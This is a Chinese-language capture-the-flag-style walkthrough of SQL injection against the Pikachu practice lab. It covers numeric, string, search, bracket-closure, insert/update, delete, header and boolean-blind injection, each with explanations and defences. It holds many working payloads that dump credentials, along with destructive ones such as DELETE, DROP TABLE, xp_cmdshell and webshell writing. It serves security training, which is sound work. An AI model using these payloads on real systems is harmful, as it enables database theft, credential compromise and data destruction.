一,数字型注入 (POST)
1,观察网站,前端用户是通过提交POST表单与后端数据库进行交互

2,抓一个请求包,右键转发到repeater模块

3,实现构造id=1'

4,发生了报错,其实根据提示就知道是数字型注入。判断数据表存在几列
1 order by 2 #

1 order by 3 #

那么就可以判断出数据库列数不小于2,小于3。所以就是存在着2列
5,再使用union select操作符判断回显位置在union操作符查询出来的哪一列
1 union select 1,2#

则判断出回显位置就是一二列
再爆出数据库名和数据库版本
1 union select database(),version() #

数据库名pikachu
6,然后再爆出pikachu下存在的数据表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

得到如下数据表,httpinfo,member,message,users,xssblind
7,再爆出users数据表的字段
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

爆出如下字段id,username,password,level
8,最后再爆出来用户名密码
1 union select username,password from users#

二,字符型注入 (GET)
1,输入用户名,发现是提交的是GET型请求

2,使用burp suite抓一个请求包,然后发送到repeater模块

3,然后开始判断闭合类型
输入1'报错,输入1"不报错,说明对单引号敏感对双引号不敏感,那么闭合方式就是单引号

但是1' #发生报错猜测是因为需要name=用户名,而且发现#需要URL编码为%23

4,然后判断数据表存在多少列
id' order by 2#

id' order by 3#

那么就可以判断出数据库列数不小于2,小于3。所以就是存在着2列
5,然后再判断回显位置
id' union select 1,2#

然后再爆出数据库名和数据库版本
id' union select database(),version() #

6,然后再爆出pikachu数据库下的数据表
id' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

id' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

id' union select username,password from users #

三,搜索型注入
一、漏洞原理
搜索型SQL注入发生在网站的搜索功能模块中,由于开发者未对用户输入进行有效过滤,导致攻击者可通过构造恶意输入篡改SQL查询逻辑。典型场景是使用LIKE语句进行模糊搜索时,用户输入被直接拼接到SQL语句中156。
示例代码:
SELECT username, id, email FROM member WHERE username LIKE '%$name%'
当用户输入' AND 1=1 AND '%'='时,查询变为:
SELECT username, id, email FROM member WHERE username LIKE '%' AND 1=1 AND '%'='%'
此时代码逻辑被破坏,条件1=1恒为真,导致返回所有数据15。
二、漏洞判断方法
- 初步检测
- 输入单引号':若返回数据库错误(如SQL语法错误),90%存在漏洞15。
- 输入百分号%:若正常返回数据,95%存在漏洞16。
- 逻辑验证
- 输入keywords%' AND 1=1 AND '%'=':若返回正常结果(等效于AND 1=1),说明存在注入点。
- 输入keywords%' AND 1=2 AND '%'=':若返回空或异常(等效于AND 1=2),进一步确认漏洞18。
三,漏洞分析
- 漏洞位置:
name = _GET['name'];
query = "select username,id,email from member where username like '%name%'";
- 用户输入的 name 参数未经任何过滤直接拼接到SQL语句中。
- LIKE 子句的模糊匹配导致输入被包裹在 % 和 ' 中,需闭合单引号和 % 符号。
- 漏洞类型:
- SQL注入:攻击者可通过闭合引号注入恶意SQL代码。
- 利用条件:
- 数据库未开启预编译或过滤。
- 错误信息可能回显到页面(如 0o。..没有搜索到你输入的信息!)。
网站允许通过输入用户名的一部分来搜索数据库里面是否有包含这部分内容的名字

漏洞利用方法
1. 闭合语句返回全部数据
Payload:
%' OR '1'='1' --
解析:
- 闭合 LIKE 的前缀 %',添加恒真条件 OR '1'='1,注释掉后续字符 -- 。
- 最终SQL语句:
SELECT username,id,email FROM member WHERE username LIKE '%%' OR '1'='1' -- %'

2. 联合查询获取敏感信息
步骤:
- 探测列数:
%' ORDER BY 3 -- #正常回显

%' ORDER BY 4 --
- 若页面正常,说明列数为3(原查询返回3列)。

- 联合查询获取数据库信息:
%' UNION SELECT database(), user(), version() --
- 显示当前数据库名、用户、版本。

- 提取表名:
%' UNION SELECT table_name, NULL, NULL FROM information_schema.tables WHERE table_schema = database() --
- 列出当前数据库所有表名。

- 提取列名(假设目标表为 users):
%' UNION SELECT group_concat(column_name), NULL, NULL FROM information_schema.columns WHERE table_schema = database() and table_name = 'users' --

- 窃取数据:
%' UNION SELECT id,username, password FROM users --
- 直接导出用户密码等敏感字段。

搜索型注入是SQL注入攻击的一种特殊形式,主要针对网站的搜索功能。其核心在于攻击者通过构造恶意输入
篡改原SQL查询逻辑,从而窃取、篡改或破坏数据库数据。
一、技术细节
- 注入点构造
- 模糊匹配闭合:搜索型注入通常利用LIKE子句的模糊匹配特性。原SQL语句如:
SELECT * FROM member WHERE username LIKE '%$name%'
攻击者通过输入'闭合单引号,并结合%符号构造有效条件。例如输入%' AND 1=1 AND '%'=',原语句变为:
SELECT * FROM member WHERE username LIKE '%%' AND 1=1 AND '%'='%'
由于1=1恒真,返回所有数据2510。
- 联合查询利用:
攻击者通过UNION SELECT注入额外查询。例如:
%' UNION SELECT database(), user(), version() --
需确保联合查询的列数与原查询一致(如原查询返回3列),否则会因列数不匹配报错59。 - 攻击步骤
- 探测漏洞:输入'或%观察是否报错(如数据库错误回显)27。
- 闭合语句:通过%'闭合LIKE的前缀,结合逻辑条件(如AND 1=1)控制查询结果410。
- 信息窃取:逐步获取数据库名、表名、列名及敏感数据。例如:
%' UNION SELECT username, password, NULL FROM member --
利用information_schema系统表提取元数据58。
- 盲注技术
- 布尔盲注:通过页面返回差异判断条件真假。例如:
%' AND (SELECT SUBSTRING(database(),1,1)='a') --
若页面返回正常,则数据库首字母为a68。 - 时间盲注:利用延时函数(如SLEEP(5))判断条件。例如:
%' AND IF(ASCII(SUBSTR(database(),1,1))=115, SLEEP(5), 0) --
若响应延迟,则首字母ASCII码为115(即s)
二、根本原理
- 动态SQL拼接
程序直接将用户输入拼接到SQL语句中,未进行参数化处理。例如:
query = "SELECT \* FROM user WHERE password LIKE '%pwd%'";
若$pwd未过滤,攻击者可插入恶意代码 - 输入验证缺失
- 未过滤特殊字符:如单引号、百分号等未转义,导致闭合原语句结构
- 未限制输入类型:未对输入长度、格式(如仅允许字母数字)进行校验
- 错误处理不当
数据库错误信息直接显示给用户,泄露表结构、字段名等敏感信息,便于攻击者构造精准Payload
三、防御措施
- 参数化查询
使用预编译语句(如PreparedStatement)分离SQL逻辑与数据。例如:
stmt = pdo->prepare("SELECT * FROM user WHERE username LIKE ?");
stmt-\>execute(\["%name%"]);
避免恶意输入篡改查询结构 - 输入过滤与验证
- 白名单校验:限制输入字符类型(如仅允许字母数字)
- 转义特殊字符:使用mysqli_real_escape_string()或框架内置方法转义单引号等
- 最小权限原则
数据库账户仅分配必要权限(如只读访问),限制攻击者执行高危操作(如DROP TABLE) - 错误信息隐藏
避免返回详细数据库错误,改用通用提示(如"搜索失败")
四、典型案例
- GET型注入:通过URL参数传递恶意输入,如?name=%' AND 1=1 --
- POST型注入:在表单提交中插入Payload,如登录框使用万能密码' OR 1=1#
四,XX型注入
是一种需要特定闭合符号的SQL注入类型,其核心在于识别并绕过SQL语句中的闭合符号(如单引号或括号),从而构造恶意查询。
漏洞原理
XX型注入的命名源于其闭合符号的特殊性(如')),通常出现在SQL语句的输入参数未正确过滤且闭合方式复杂的情况下。例如,后端代码可能使用类似id = ('input')的语法,导致攻击者需通过闭合符号')绕过过滤,拼接恶意SQL语句
1,输入kobe进行测试

输入1没有这个名字

输入kobe'报错

根据这条报错可以推测闭合方式包括了括号,经过测试完整的闭合方式是kobe') #

2,开始进行数据库爆破,判断当前查询的数据表存在几列
kobe') order by 2#

kobe') order by 3#

可以知道数据表不小于两列,小于三列,那么就是两列
4,然后使用union select 爆出回显位置
kobe') union select 1,2 #

kobe') union select database(),version() #

5,然后开始爆数据库,数据表,数据
kobe') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

kobe') union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

kobe') union select username,password from users #

PHP源代码分析,此处被称为XX型注入 (具体为括号+单引号闭合型注入)的原因如下:
1. SQL语句构造分析
后端代码中SQL语句的拼接方式为:
query = "select id,email from member where username=('name')";
- 参数包裹形式:用户输入的$name被包裹在 (' ') 中,即单引号+括号的组合。
- 正常输入示例:若用户输入kobe,实际执行的SQL为:
select id,email from member where username=('kobe')
2. 闭合符号特殊性
漏洞的核心在于需要闭合单引号和括号 '):
- 输入测试:若用户输入 kobe'),SQL语句变为:
select id,email from member where username=('kobe')')
此时由于多出一个 '),会导致SQL语法错误,暴露闭合符号特征。 - 恶意闭合逻辑:攻击者需通过 ') 闭合原有结构,再拼接恶意代码。例如:
kobe') union select 1,2# -- 闭合后的完整SQL:
select id,email from member where username=('kobe') union select 1,2#')
3. 漏洞利用特征
- 闭合符号组合:闭合符号为 '),是单引号+括号的组合,而非普通字符型注入的单引号(')或数字型注入的无闭合。
- 绕过关键:攻击者必须精确闭合 ('$name') 中的单引号和括号,才能注入有效Payload。
4. 与普通注入的区别
|-----------|-----------|--------------------------|
| 注入类型 | 闭合符号 | 示例Payload |
| 数字型注入 | 无 | 1 and 1=1 |
| 字符型注入 | 单引号 ' | kobe' and 1=1# |
| XX型注入 | 单引号+括号 ') | kobe') union select 1,2# |
5. 防御缺陷
- 未使用参数化查询:直接拼接用户输入($name)到SQL语句中。
- 未过滤特殊字符:未对单引号 ' 或括号 ) 进行转义或过滤。
结论
此漏洞被称为XX型注入 (或括号+单引号闭合型注入 ),因其需要同时闭合单引号和括号 ') 的特殊性。攻击者需通过精确闭合这两个符号构造Payload,与普通字符型、数字型注入有明显区别。靶场中的此类漏洞训练旨在强调复杂闭合场景下的注入利用与防御。
五, insert/update 型注入
SQL注入中的INSERT注入发生在应用程序将用户输入不安全地拼接到INSERT语句中时,允许攻击者操纵数据库操作。以下是详细分析:
INSERT注入的原理
- 语句结构:INSERT语句用于向表中插入数据,如:
INSERT INTO users (username, password) VALUES ('username', 'password');
若用户输入未经处理,攻击者可通过构造恶意输入改变查询逻辑。 - 攻击方式:
- 多语句执行:注入a'); DELETE FROM users; --可能导致数据删除(需数据库支持多语句)。
- 二次注入:插入恶意数据(如' UNION SELECT ...),后续查询时触发注入。
- 报错注入:触发错误泄露信息,如'||(SELECT 1/0)||'。
- 盲注:通过响应时间或布尔逻辑推断信息,如'||(SLEEP(5))||'。
- 字段篡改:若表结构已知,可操纵其他字段(如权限):
-- 输入username为:'admin', 'password', 'admin')--
INSERT INTO users (username, password, role) VALUES ('admin', 'password', 'admin')--, ...);
防御措施
- 参数化查询:使用预处理语句确保输入视为数据而非代码:
cursor.execute("INSERT INTO users VALUES (?, ?)", (user, pass)) - 输入验证:严格校验类型、长度及格式(如白名单)。
- 最小权限:数据库账户仅授予必要权限。
- 错误处理:避免详细错误信息泄露。
- 防御二次注入:所有数据库交互均需参数化,包括读取数据后的操作。
检测方法
- 输入特殊字符(如单引号),观察是否引发错误。
- 盲注测试:通过布尔或时间延迟判断漏洞存在。
示例攻击
- 闭合引号插入多数据:
-- 输入username:a'), ('b
INSERT INTO users (username) VALUES ('a'), ('b'); - 权限提升:
-- 输入username:admin', 'pass', 'admin')--
INSERT INTO users VALUES ('admin', 'pass', 'admin')--, 'user');
总结
INSERT注入通过操纵插入的数据或执行额外操作危害数据库安全。参数化查询是最有效防御手段,结合严格的输入验证和最小权限原则,可显著降低风险。开发者需对所有用户输入保持警惕,避免动态拼接SQL语句。
1,使用burpsuite抓一个注册用户界面的请求包 http://192.168.23.154/06/vul/sqli/sqli_iu/sqli_reg.php

然后测试一下注入点在哪个位置,测试发现输入1' #正常回显,那么可以知道闭合方式为单引号

因为sql语句是insert那么常规的order by 和union select语句都无效
漏洞分析
- 输入处理缺失
- 开发者注释掉了escape函数,直接使用$_POST数组拼接SQL语句。
- 所有用户输入字段(username、sex、phonenum等)均未过滤或转义。
- 注入点定位
INSERT语句结构如下:
INSERT INTO member(username,pw,sex,phonenum,email,address)
VALUES ('{username}', md5('{password}'), '{sex}', '{phonenum}', '{email}', '{add}')
- 所有字段均被单引号包裹,攻击者可通过闭合单引号注入恶意代码。
2,尝试使用updatexml函数进行报错注入,先爆数据库名
s' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
s'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '','22','33','44','55','66')#

爆出数据库pikachu,然后再爆出数据库版本

然后再爆出pikachu数据库下所有数据表
'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

'or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1) or '

3,爆出数据表名
'or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1) or '

4,最后爆出用户名密码
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '

' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),32,31),0x7e),1) or '
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),63,31),0x7e),1) or '
UPDATE注入分析
UPDATE注入发生在应用程序将用户输入直接拼接到UPDATE语句中,允许攻击者修改数据库中的现有数据,可能导致数据篡改、权限提升或信息泄露。
UPDATE注入原理
- 语句结构
UPDATE语句用于更新表中的记录,通常包含SET和WHERE子句:
UPDATE users SET email='email' WHERE username='user';
- 攻击面:若email或user未过滤,攻击者可篡改更新条件或字段值。
- 漏洞触发点
- WHERE子句注入:绕过条件限制,更新非目标数据。
- SET子句注入:修改其他字段或执行恶意操作。
攻击方式与利用场景
1. 篡改WHERE条件(批量数据修改)
- 示例输入:
用户输入user值为 admin' OR 1=1 --
生成SQL:
UPDATE users SET email='[email protected]' WHERE username='admin' OR 1=1 -- ';
效果:所有用户的邮箱被修改为攻击者控制的地址。
2. 修改其他字段(权限提升)
- 示例输入:
输入email值为 [email protected]', role='admin' --
生成SQL:
UPDATE users SET email='[email protected]', role='admin' -- ' WHERE username='user123';
效果:将用户user123的权限提升为管理员。
3. 报错注入(信息泄露)
- 示例输入:
输入email值为 '||updatexml(1,concat(0x7e,(SELECT user()),0)||'
生成SQL:
UPDATE users SET email=''||updatexml(...)||'' WHERE username='user123';
效果:触发错误返回数据库用户信息(如XPATH syntax error: '~root@localhost~')。
4. 盲注(布尔/时间盲注)
- 布尔盲注:
输入email值为 ' AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a' --
根据页面响应判断密码首字符是否为a。 - 时间盲注:
输入email值为 '||IF((SELECT SLEEP(5) FROM users LIMIT 1),1,0)||'
若页面响应延迟5秒,则确认漏洞存在。
5. 命令执行(依赖数据库特性)
- SQL Server示例:
输入email值为 '; EXEC xp_cmdshell 'calc.exe' --
效果:在数据库服务器上执行计算器程序(需开启xp_cmdshell)。
漏洞检测方法
- 初步探测
- 在输入字段注入单引号',观察是否触发数据库错误。
- 测试逻辑条件(如' OR '1'='1),检查是否影响更新范围。
- 盲注验证
- 布尔盲注:观察页面行为变化(如更新成功/失败提示)。
- 时间盲注:注入SLEEP或WAITFOR DELAY函数,测量响应时间。
- 报错验证
注入报错函数(如updatexml、extractvalue),观察错误信息是否泄露数据。
防御措施
- 参数化查询
使用预处理语句绑定参数,确保输入数据与SQL逻辑分离:
stmt = pdo->prepare("UPDATE users SET email=? WHERE username=?");
stmt-\>execute(\[email, $user]); - 严格输入验证
- 校验数据类型(如邮箱格式、手机号长度)。
- 过滤特殊字符(如'、;、--)或使用白名单机制。
- 最小权限原则
数据库账户仅授予UPDATE权限,禁止执行存储过程或文件操作。 - 错误信息处理
避免返回详细数据库错误,使用统一错误页面。
实战利用场景:用户资料更新页面的UPDATE注入
测试步骤:
- 探测注入点:
修改邮箱为',提交后观察是否报错。 - 闭合引号构造Payload:
输入邮箱为 [email protected]', role='admin' WHERE 1=1 --
生成SQL:
UPDATE users SET email='[email protected]', role='admin' WHERE 1=1 -- ' WHERE user_id=1001;
效果:将所有用户的role字段设为admin。 - 提取敏感数据:
注入报错Payload:
'||updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 1),0)||'
结果:错误信息中返回首条用户密码的哈希值。
与INSERT注入的差异
|---------------|-----------------|------------------|
| 特性 | UPDATE注入 | INSERT注入 |
| 影响范围 | 修改现有数据 | 插入新数据 |
| 常见利用 | 权限提升、数据篡改 | 插入恶意数据、二次注入 |
| 典型Payload | 修改WHERE条件或SET子句 | 闭合VALUES括号插入多行数据 |
| 检测复杂度 | 需触发数据变更或观察错误 | 需验证插入结果或后续查询行为 |
1,update注入应该存在于 http://192.168.23.154/06/vul/sqli/sqli_iu/sqli_edit.php 使用burpsuite抓个包看看

因为sql语句使用的是update所以就不能所以联合查询的方法,依然使用updatexml即可
2,首先爆出数据库名
' and updatexml(1,concat(0x7e,select database()),0x7e),1)#
报错注入核心原理
当 updatexml 函数的 XPath 表达式参数存在语法错误时,MySQL 会抛出错误,并 将错误表达式的内容直接返回在错误信息中。攻击者通过构造恶意的 XPath 表达式,将查询结果嵌入其中,从而在错误信息中泄露敏感数据。
关键步骤分析
- 触发 XPath 语法错误
updatexml 函数语法:
UPDATEXML(XML_document, XPath_expression, new_value)
- 第二个参数 XPath_expression 必须符合 XPath 语法规则。
- 若该参数格式错误(如包含非法字符),MySQL 会抛出错误。
- 构造恶意 XPath 表达式
攻击者将 子查询结果 拼接到 XPath 表达式中,使其因语法错误触发报错,同时将查询结果回显到错误信息中。
示例 Payload:
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT user()), 0x7e), 1) --
- 0x7e:代表 ~ 符号(ASCII 码 126),用于在错误信息中标记数据边界。
- CONCAT:将查询结果(如 SELECT user())与 ~ 拼接,形成无效的 XPath 表达式。
- 错误信息泄露数据
执行上述 Payload 后,MySQL 报错类似:
XPATH syntax error: '~root@localhost~'
- 错误信息中直接返回了当前数据库用户 root@localhost。
- 攻击者通过错误日志或页面回显即可获取敏感数据。
典型利用场景
- 获取数据库版本
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT @@version), 0x7e), 1) --
错误信息:
XPATH syntax error: '~10.4.24-MariaDB~'
- 窃取表名
' AND UPDATEXML(1, CONCAT(0x7e,
(SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1)
, 0x7e), 1) --
- 提取字段值
' AND UPDATEXML(1, CONCAT(0x7e,
(SELECT password FROM users LIMIT 1)
, 0x7e), 1) --
技术限制与绕过
- 数据长度限制
updatexml 返回的错误信息最多显示 32 位字符(超出部分被截断)。
绕过方法:
- 使用 SUBSTRING 分片获取数据:
' AND UPDATEXML(1, CONCAT(0x7e,
SUBSTRING((SELECT password FROM users LIMIT 1), 1, 31)
), 0x7e), 1) --
- 过滤引号或特殊字符
- 使用 HEX 编码或 CHAR() 函数绕过:
' AND UPDATEXML(1, CONCAT(CHAR(126), (SELECT user())), 1) --
防御措施
- 参数化查询:使用预处理语句(如 PDO、MySQLi)避免 SQL 拼接。
- 错误信息隐藏:禁止向用户返回详细数据库错误。
- 输入过滤:对特殊字符(如 '、~、#)进行转义或过滤。
总结
updatexml 报错注入通过故意构造错误的 XPath 表达式,将子查询结果嵌入错误信息中实现数据泄露。防御需从根本上避免 SQL 语句拼接,并结合严格的输入过滤和错误处理机制。
六, delete 型注入
一、漏洞代码定位
先看核心漏洞代码:
|---------------------------------------------------------------------------------------------------------------------------|
| if(array_key_exists('id', _GET)){ query="delete from message where id={_GET\['id'\]}"; result=execute(link, query); |
关键问题:
- 用户可控的 $_GET['id'] 参数直接拼接进 SQL 语句;
- 没有做 参数过滤、类型转换、转义或预处理;
- 是典型的 SQL 拼接注入;
- 最终导致:攻击者可构造恶意SQL语句,执行非预期的DELETE操作
二、SQL语句执行流程拆解
假设用户访问:
sqli_del.php?id=1
拼接后的 SQL 为:
DELETE FROM message WHERE id=1;
正常执行,删除 id 为 1 的留言。
如果我们传入:
?id=1 OR 1=1
拼接后:
DELETE FROM message WHERE id=1 OR 1=1;
解释:
- 条件 1=1 恒为真;
- 意味着数据库将删除 所有记录(所有 id 都满足条件)!
三、逐步构造 Payload
第一步:测试是否存在注入点(布尔测试)
访问:
sqli_del.php?id=1
sqli_del.php?id=1 OR 1=1
观察数据库中记录是否大量被删除。
第二步:加注释截断(保证语句后续部分被注释)
访问:
sqli_del.php?id=1 OR 1=1 --+
--+ 是注释符号 -- 加一个空格,防止 SQL 报错。
执行 SQL:
DELETE FROM message WHERE id=1 OR 1=1 --+
删除所有留言。
第三步:构造报错注入(测试数据库是否回显错误)
访问:
sqli_del.php?id=1 OR updatexml(1,concat(0x7e,(SELECT database())),1)
执行 SQL:
DELETE FROM message WHERE id=1 OR updatexml(1,concat(0x7e,database()),1)
- updatexml() 是 MySQL 中一个 XML 函数,利用其报错可实现 错误注入(Error-Based);
- 如果能回显数据库名,说明注入成功且存在信息回显通道。
第四步:时间盲注(测试是否能执行延迟函数)
访问:
sqli_del.php?id=1 OR IF(1=1, SLEEP(5), 0)
SQL:
DELETE FROM message WHERE id=1 OR IF(1=1, SLEEP(5), 0)
效果:页面延迟 5 秒,说明注入点可执行 SLEEP() 函数,用于盲注探测。
总结:成因+构造过程一览
|-----------|------------------------------------------------------|
| 阶段 | 说明 |
| 漏洞点 | id 参数直接拼接 SQL,没有过滤或类型检查 |
| 攻击点 | delete from message where id=用户输入 |
| 基本注入 | ?id=1 OR 1=1 |
| 注释截断 | ?id=1 OR 1=1 --+ |
| 报错注入 | ?id=1 OR updatexml(1,concat(0x7e,(select user())),1) |
| 时间盲注 | ?id=1 OR IF(1=1, SLEEP(5), 0) |
| 宽字节绕过 | ?id=1%bf' OR 1=1 --+ |
| 多语句执行 | ?id=1; DROP TABLE message |
1,burpsuite抓包观察get请求包

使用hackbar更方便
http://192.168.23.154/06/vul/sqli/sqli_del.php?id=78 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

http://192.168.23.154/06/vul/sqli/sqli_del.php?id=78 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
http://192.168.23.154/06/vul/sqli/sqli_del.php?id=78 or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),32,31),0x7e),1)

http://192.168.23.154/06/vul/sqli/sqli_del.php?id=78 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)
http://192.168.23.154/06/vul/sqli/sqli_del.php?id=78 or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),32,31),0x7e),1)

http://192.168.23.154/06/vul/sqli/sqli_del.php?id=78 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)

http://192.168.23.154/06/vul/sqli/sqli_del.php?id=78 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)

http://192.168.23.154/06/vul/sqli/sqli_del.php?id=78 or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)
七,http header注入
1,使用账号密码登录进去之后,分析这个页面源代码为什么存在sql注入漏洞

该代码存在HTTP头注入漏洞的根本原因在于未对用户可控的HTTP头参数进行过滤和转义,直接将原始头信息拼接到SQL语句中。
漏洞成因分析
- 未过滤用户可控的HTTP头字段
- 代码直接从_SERVER获取以下头信息: remoteipadd=_SERVER\['REMOTE_ADDR'\]; *// 可被X-Forwarded-For伪造* useragent=_SERVER\['HTTP_USER_AGENT'\]; *// 用户完全可控* httpaccept=_SERVER\['HTTP_ACCEPT'\]; *// 用户完全可控* remoteport=$_SERVER['REMOTE_PORT']; // 网络层信息(相对难伪造)
- 其中HTTP_USER_AGENT、HTTP_ACCEPT等头信息完全由客户端控制,攻击者可以构造恶意内容。
- 未使用参数化查询或转义
- 插入数据库时直接拼接原始值:
query="insert httpinfo(...) values('is_login_id','remoteipadd','useragent','httpaccept','remoteport')"; - 未使用escape()函数等过滤措施(被注释掉的转义代码未生效)
漏洞验证Payload示例
- 通过User-Agent触发报错注入
GET /sqli_header.php HTTP/1.1
User-Agent: ' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) --
- 效果:通过MySQL报错信息泄露数据库版本
- 通过Accept头进行布尔盲注
GET /sqli_header.php HTTP/1.1
Accept: ' OR (SELECT SUBSTR(user(),1,1)='r') --
- 效果:通过页面响应差异判断当前数据库用户名的首字母是否为'r'
- 利用X-Forwarded-For伪造IP注入
GET /sqli_header.php HTTP/1.1
X-Forwarded-For: 127.0.0.1',(SELECT 1)) --
- 效果:破坏SQL语句结构,测试注入可行性
漏洞修复建议
- 对所有输入进行严格过滤
// 恢复被注释的转义代码
remoteipadd=escape(link, _SERVER\['REMOTE_ADDR'\]); useragent=escape(link, _SERVER['HTTP_USER_AGENT']);
httpaccept=escape(link, $_SERVER['HTTP_ACCEPT']); - 使用参数化查询(最佳实践)
stmt = link->prepare("INSERT httpinfo(...) VALUES (?,?,?,?,?)");
stmt-\>bind_param("sssss", is_login_id, remoteipadd, useragent, httpaccept, remoteport);
$stmt->execute(); - 设置HTTP头白名单
// 例如只允许特定字符
useragent = preg_replace('/\[\^a-zA-Z0-9\\/\\(\\)\\:;.,_\]/', '', _SERVER['HTTP_USER_AGENT']);
漏洞危害场景攻击者可以通过伪造HTTP头信息:
- 拖取数据库敏感数据(用户表、密码哈希等)
- 通过LOAD_FILE()读取服务器文件
- 通过INTO OUTFILE写webshell
- 配合其他漏洞进行权限提升
2,burp抓一个包

然后在User-Agent处构造payload进行header注入
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

2、爆表 payload:
' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '

3、爆列 payload:
' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '

4、爆数据 payload:
' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) or '

Header 型 SQL 注入的漏洞成因
一、根本原因:用户输入未过滤直接拼接 SQL
HTTP 请求头字段(如 User-Agent、Referer、X-Forwarded-For)是客户端可控的。
但开发者常错误地以为请求头是可信的,所以直接将这些字段插入数据库,例如:
ua = _SERVER['HTTP_USER_AGENT'];
sql = "INSERT INTO logs (ua) VALUES ('ua')";
mysqli_query(conn, sql);
核心问题:
- 拼接式 SQL
- 未使用预处理
- 未使用转义
- 攻击者完全可控输入
二、常见开发误区
|----------------------------|----------------------------------|
| 误区 | 后果 |
| "请求头是浏览器自动发的,应该没问题" | ❌ 忽略了 curl、Burp、Python 脚本可任意伪造 |
| "只是日志记录,不涉及权限问题" | ❌ 注入点无权限也可触发逻辑删除、系统破坏 |
| "Header 数据写入后端统计系统,不回显无风险" | ❌ 实为 存储型注入 + 延迟型执行,后台查询日志时触发 |
三、具体流程:漏洞是怎么一步步形成的?
- 前端提交请求(带有注入语句)
例如 curl 添加:
curl -H "User-Agent: test' OR 1=1 -- " Target : Expect More. Pay Less. - 服务端读取 header
ua = _SERVER['HTTP_USER_AGENT']; - 拼接 SQL
sql = "INSERT INTO logs (ua) VALUES ('ua')"; - 执行 SQL 语句(注入语句被执行)
数据库收到的语句是:
INSERT INTO logs (ua) VALUES ('test' OR 1=1 -- ') - 数据库执行成功,攻击生效
四、不同的 header 注入带来的安全后果
|-----------------|-------------|-------------------------|
| 注入字段 | 使用场景 | 可能后果 |
| User-Agent | 记录用户设备、统计分析 | SQL 注入 + 存储型注入 |
| Referer | 分析跳转来源 | 被统计系统后台处理时注入 |
| X-Forwarded-For | 记录客户端 IP | 注入记录表、绕过 IP 验证、防火墙 |
| Cookie | 会话状态 | Cookie 存在数据库中(如登录日志)可注入 |
| Host | 多站点判断 | 若拼接到 SQL 做分表逻辑可注入 |
五、漏洞成因总结
|---------------|-----------------------------|
| 类型 | 描述 |
| 输入未校验 | header 完全可控,却没有做任何白名单、转义或过滤 |
| SQL 拼接式构造 | 使用字符串拼接构造 SQL,而不是预处理 |
| 对 header 来源误判 | 开发者以为 header 不受用户控制 |
| 数据库存储日志或统计信息 | 注入内容长期保存,形成存储型漏洞风险 |
建议你记住的核心一句话:
任何用户输入,包括请求头、Cookie、Referer,都不可信。只要进入数据库前拼接了 SQL,又没处理,那就是注入高危点。
八,基于boolian的盲注
1,首先根据前面是能够知道存在一个用户lili,就利用这个用户名构造bool盲注

首先判断闭合方式 lili' #不报错,说明闭合方式是单引号

lili' order by 2# 不报错
lili' order by 3# 报错,说明查询的数据表只存在两列

信息探测语句
- 获取数据库版本
lili' AND (SELECT SUBSTR(version(),1,1)='5')--+
逐字符判断版本号
- 获取当前数据库名长度
lili' AND (SELECT LENGTH(DATABASE()))=4 #

爆出来数据库名长7

通过调整数值探测数据库名长度
- 逐字符获取数据库名
lili' AND ASCII(SUBSTR(DATABASE(),1,1))=100*--+*
使用ASCII码值+二分法快速定位字符
表结构提取语句
- 获取表数量
lili' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())=2*--+*
- 获取第一个表名长度
lili' AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=5*--+*
- 逐字符提取表名
lili' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=117*--+*
字段提取语句
- 获取目标表的字段数
lili' AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')=3*--+*
- 提取密码字段内容
lili' AND ASCII(SUBSTR((SELECT password FROM member WHERE username='admin'),1,1))=53*--+*